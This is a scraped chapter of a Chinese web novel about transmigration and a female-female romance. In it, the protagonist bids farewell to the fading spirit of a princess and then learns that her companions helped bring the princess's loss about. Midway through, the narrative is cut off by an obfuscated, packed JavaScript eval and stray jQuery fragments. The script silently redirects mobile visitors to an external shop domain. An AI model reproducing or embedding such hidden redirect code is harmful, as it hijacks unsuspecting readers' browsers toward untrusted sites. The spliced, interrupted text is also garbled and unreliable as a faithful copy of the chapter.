文趣网 > 其他小说 > 恶毒女配她和女主he了[快穿] > 23. 水生花(二十二)
    苏蓉蓉终于醒了。

    醒时只觉浑身轻盈,周遭又是那一片虚无。

    “池瑾瑶?”她试探着挪步,轻声唤道。

    “你是谁?”身后忽地出现一道声音。

    苏蓉蓉被吓了一跳,因为那声音和她的一模一样。

    她缓缓回头,只见那人的脸也赫然与她一致。

    苏蓉蓉怀疑自己见了鬼,颤声道:“你,你你你你要干嘛?”

    “想不到你竟这般胆小。”“苏蓉蓉”嗤笑一声,“看来她说的果然不错,你与我完全不同。”

    “你是……仁乐公主?”苏蓉蓉琢磨过味儿来,试探着问。

    “嗯。”“苏蓉蓉”高傲地昂起头颅。

    “你为什么会在这儿?”

    按说,这里是系统空间,自己进来一是因为任务,还有便是因为……

    因为她因车祸昏死,所以才进入了这里。

    “莫非!你也死了?”苏蓉蓉不可置信地说出自己的猜想。

    “喂。”“苏蓉蓉”狠狠剜她一眼,“你说话很晦气知道吗?闭嘴。”

    “哦。”

    苏蓉蓉遇强则弱,乖巧地在嘴前拉上拉链,闭嘴了。

    良久后,还是仁乐公主先开了口:“喂,你为什么喜欢池瑾瑶那个臭女人。”

    “啊?”苏蓉蓉愣了一下,随即陷入了回忆。

    脑袋里一瞬间闪过过往许多点滴,有初见时对方身上淡淡的沉香味儿;也有后来对方黑衣人时夜闯寝宫,还威胁她将侍卫支走。

    又闪过她有些无措地替她擦泪,笨拙地递上一颗饴糖,她带着深夜惊醒的她飞上房檐,她危难之际跳下来接住她自己却喷出一口血。

    还有对方动情地吻她,与她缠绵,可怜兮兮地说心悦她,要她接受……

    太多了……

    一时之间,苏蓉蓉竟也说不出是哪个瞬间。

    “看来也没多喜欢喽。”

    “不。”苏蓉蓉打断她,“太多了,一时没想起来。”

    “苏蓉蓉”似乎气笑了,翻了个白眼又不理她了。

    礼尚往来,苏蓉蓉便也问她:“你为何喜欢南风墨那个登徒子?”

    “你大胆!”“苏蓉蓉”掐着腰瞪她,“休得胡言!”

    苏蓉蓉有点尴尬地抿紧嘴巴,干笑着拍了拍自己的嘴:“叫你乱说,叫你乱说。”

    “我和你不一样。”“苏蓉蓉”忽然道,“我记得很清楚。”

    那日飞花之下,她与贵女们踢着蹴鞠。

    不多时,一只小白狗直直冲着她跑来。

    她怕狗,一时吓得惊慌失措,仓皇后退。

    周边无一人上前帮助,她眼见着就要跌倒。

    她死死闭上了眼。

    下一瞬,一只有力的臂膀揽住了她的腰肢,带着她腾空一瞬,飞到了一旁的马背上。

    “啊!”她小声惊呼,以为自己要跌落,却不料身后之人稳稳搂住她,灼热的呼吸喷洒在耳畔。

    耳中是震人心跳,一时竟也分不清是她的还是旁人的。

    半晌,那狗终于被人赶走。

    抓着缰绳的手托在她腰肢,将她稳稳带下了马。

    一个身着青衣的翩翩公子在她面前站定,柔声说:“姑娘,你没事吧?”

    满场的人都知她是仁乐公主,是永昌国最尊贵的女子。

    她以为面前人救她也是为此,是为了讨一个封赏,没想到面前人竟不是那样的肤浅之人。

    她面上微烫:“敢问……公子姓名?”

    “在下……”

    话音未落,那人忽地凑近。

    她呼吸一滞。

    那人却只是轻轻从她发间取下一片柳叶。

    恍惚间,天地仿佛只剩他们二人。

    那日回宫,母后给她看了许多世家公子的画像。

    她皆兴致缺缺,直到从一众画像低下看到露出的一角。

    她扒开一众画像,将那压在最下的画取了出来。

    一袭青衣,翩翩公子。

    “母后,就他吧,儿臣喜欢。”

    皇后有些为难,欲言又止:“这……”

    “不可以吗?”她瞪着大眼睛看过去,眸中是未尽的喜悦。

    “好,好,也好。”

    她不知,那是京中早就花名在外的风流公子。

    不务正业,学识浅薄,家族式微。

    皇后本将那画像抽出去了,却不料竟还是被她看见了。

    回忆结束,看着对方少见温柔的神色,苏蓉蓉一时有些恍惚。

    她暗暗抽了抽自己嘴巴。

    自己真是不该问的,那南风墨何许人她再清楚不过,不该勾起面前人的伤心事的。

    “但……今日之后,本宫便不喜欢他了。”“苏蓉蓉”忽然说。

    苏蓉蓉一愣,不禁问:“为何?”

    “苏蓉蓉”隐有泪光:“因为他不值得。”

    苏蓉蓉不知道该说什么了。

    若说从前,若是她看过仁乐公主为女配的那本书,多半会一边怒骂这女人又坏又蠢,一边唏嘘世事无常,真心错付。

    可是如今,她亲眼看见面前神色恍然,泛着泪光的女人,竟是一个字也说不出口。

    她开始忏悔,自己之前是否太过武断,是否是站在上帝视角冷漠地批判着人心,高傲又冷血。

    “你是对的。”“苏蓉蓉”擦了泪,勾起一抹笑,“想来我也没那么喜欢他,若是喜欢,当真会想起许许多多,像你一样,说不出半个字来。”

    “我……”苏蓉蓉不知该如何了,歉疚和心疼几乎吞没了她。

    她没忍住,上前将那个骄傲的公主揽进了怀中,一下一下轻轻拍着她的背。

    “你这般好的姑娘,是他配不上你。”苏蓉蓉不禁哽咽,“会有更好的人等着你的。”

    “苏蓉蓉”愣神,半晌才回抱住她,模棱两可道:“但愿吧。”

    她说完,苏蓉蓉忽觉身下一空。

    仁乐的身体闪了闪,变得有些半透明。

    苏蓉蓉不可置信地皱了皱眉,缓缓送了手。

    仁乐看见自己透明的手,轻笑出声:“谢谢你。”

    眼眶忽然有些酸涩,不受控的眼泪无知无觉淌下,苏蓉蓉摇了摇头:“什么……这是怎么回事?”

    仁乐看了看这虚无之地,一滴清泪落下,滴在地上,晕出一片涟漪。

    “你的朋友们还在等着你,接下来的路,便由你替我走吧。”

    “对了,记得……帮我同齐妃说一声抱歉。”

    她说完,身形渐渐消散,顷刻便融入了这片虚无。

    苏蓉蓉徒劳地奔跑,大喊道:“公主!公主!”

    可什么都没有,一切像是从未发生过那般,她奋力地抓着,希望能抓住什么,一缕幽魂也好。

    “公主!”

    苏蓉蓉粗喘着气,猛然惊醒过来。

    池瑾瑶喜忧参半地冲到她面前,抓住了她的肩膀。

    “蓉蓉,太好了!你回来了。”

    热

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839561|211588||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    泪灌入脖颈,苏蓉蓉呆滞良久。

    一滴泪顺着脸侧滑落下来,她愣愣地擦过。

    那是她的泪吗?

    不是。

    可下一瞬,她还是恸哭出声,紧紧抱着面前的人,埋首在她颈间。

    “她死了……她,她不见了。”她语无伦次说着,“都怪我,都怪我,要不是我,她不会死的。”

    她紧紧抓着池瑾瑶,哭得脊背颤抖。

    池瑾瑶和一旁的裴千懿遥遥相对,相视间,裴千懿读懂她的意思,退出了屋子,替她们掩上了门。

    苏蓉蓉哭了不知多久,才终于渐渐平复了下来。

    池瑾瑶始终紧紧抱着她,轻拍着她的背。

    苏蓉蓉松了手,后知后觉:“我怎么会在这儿?”

    她的记忆停在“她”与池瑾瑶被赶出去之时,便忽地像被切断了信号一样,在识海中晕了过去。

    池瑾瑶却垂着头,始终没说话。

    苏蓉蓉觉出不对来,试探问:“她……为什么会消失,是不是和我晕倒时发生的事有关?”

    池瑾瑶看着她仍泛泪光的眼,抬手替她轻轻抹去泪痕。

    这才终于说出了当时情形。

    “我暗中救出了齐妃,在殿中又杀了南风墨,现在你与我皆是朝廷要犯,只能亡命天涯了。”

    苏蓉蓉傻傻一眨眼,啪嗒。

    一滴泪滚了下来,滴在了池瑾瑶手上。

    池瑾瑶笑着抓住她的手:“怎么?怕了?”

    苏蓉蓉吸了吸鼻子,摇头道:“所以一切都是南风墨怀恨在心,实施的报复?”

    池瑾瑶却没同预想中一般说是,而是沉默后答:“有他的手笔,也有……我的推动。”

    “什么?”

    “其实在那日之前,我便来过酒楼,我早早猜出你身体里住着两个灵魂,找了千懿帮我一起想办法。”

    “可她的巫术不是根本没用吗?”

    “不。”池瑾瑶松了手,“是有用的,那日,是我二人同你演的戏。”

    苏蓉蓉抓住她逃开的手,什么东西从脑海一闪而过,转瞬她眼中泪光已然褪尽:“所以那日的巫术根本不是让‘她’回来,而是让我晕过去,是吗?”

    池瑾瑶看向她,艰难地点了点头。

    “我虽然救走了齐妃,却没有去管司天监,任由南风墨利用司天监在证据不全的情况下无头苍蝇一样揭发你,或者说……她,她因此而受到刺激,认清南风墨,我匆忙将你带回,有千懿运用巫术,固定你的灵魂。”

    “所以你们杀了她。”苏蓉蓉松开了她的手。

    “不。”池瑾瑶想要重新攥紧她的手,却被躲开了。

    她垂下头:“我们没想过她会消失……千懿的之前说的是真的,她从前随东家去西域时遇见过一位巫师,巫师执意授她巫蛊之术,她若不学,巫师便要取她性命。

    无奈之下,千懿只好跟着学了。她说的对,她学的敷衍,一知半解,从未在任何人身上试验过。

    按理说,或许你体内的另一个灵魂可以找到归依,覆在别的东西身上。可……”

    苏蓉蓉却听不下去了,痛苦再一次击垮她。

    她捂住了耳朵,不愿再听。

    池瑾瑶抬手想要抱住她。

    可是对方却满是抗拒。

    始终站在门外的裴千懿推门进来,示意池瑾瑶让她一个人待会儿,池瑾瑶点点头随她一同出了屋子。

    待到了屋外,裴千懿才有些凝重地告诉她:“东家来了。”